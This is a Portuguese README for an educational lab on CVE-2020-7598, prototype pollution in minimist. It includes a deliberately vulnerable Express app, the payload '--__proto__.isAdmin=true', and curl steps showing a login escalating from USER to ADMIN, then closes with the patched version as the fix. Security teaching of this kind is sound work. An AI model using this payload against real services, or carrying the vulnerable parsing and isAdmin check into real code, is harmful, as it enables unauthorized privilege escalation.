
Laboratório educacional demonstrando poluição de protótipo CVE-2020-7598 no minimist com um aplicativo Node.js/Express vulnerável, payload de exploração e passo a passo de bypass de autenticação para pesquisa de segurança.
Este projeto foi criado apenas para:
Não use em sistemas sem permissão.
CVE-2020-7598 é uma vulnerabilidade de Prototype Pollution no pacote npm:
< 0.2.1>= 1.0.0 < 1.2.3Essa vulnerabilidade permite que um atacante modifique:
Object.prototype
através de payloads como:
--__proto__.isAdmin=true
Como consequência:
Em JavaScript:
const user = {};
um objeto vazio ainda herda propriedades de:
Object.prototype
Se um atacante conseguir fazer:
Object.prototype.isAdmin = true;
então:
({}).isAdmin
resultará em:
true
para todos os objetos comuns.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
OU manualmente:
npm install express [email protected]
Crie o arquivo:
app.js
Conteúdo:
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulação de banco de dados de usuários
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Endpoint vulnerável
*/
app.get("/parse", (req, res) => {
/*
Pega a query bruta
*/
const payload = req.query.payload;
/*
Converte para array de argumentos de CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Parsing vulnerável
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Endpoint de login
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Lógica de autenticação vulnerável
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
Saída:
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Saída:
{
"success": true,
"role": "USER"
}
Abra o navegador:
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
OU use curl:
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
Terminal do servidor:
GLOBAL isAdmin: true
Isso significa que:
Object.prototype.isAdmin = true
foi modificado com sucesso.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Saída:
{
"success": true,
"role": "ADMIN"
}
Apesar de:
isAdmin.O código a seguir:
if(user.isAdmin)
não verifica apenas uma propriedade diretamente do objeto.
O JavaScript irá procurar:
Como o atacante conseguiu modificar:
Object.prototype.isAdmin = true
todos os objetos comuns herdam essa propriedade.
Log do servidor:
Own property: false
user.isAdmin: true
Isso significa:
isAdmin não é uma propriedade original do usuário,Versão segura do minimist:
npm install minimist@latest
A versão corrigida bloqueia:
__proto__constructorprototypeimpedindo que o Prototype Pollution funcione.
Laboratório e documentação criados para fins de aprendizado sobre segurança de aplicações Node.js e pesquisa de Prototype Pollution.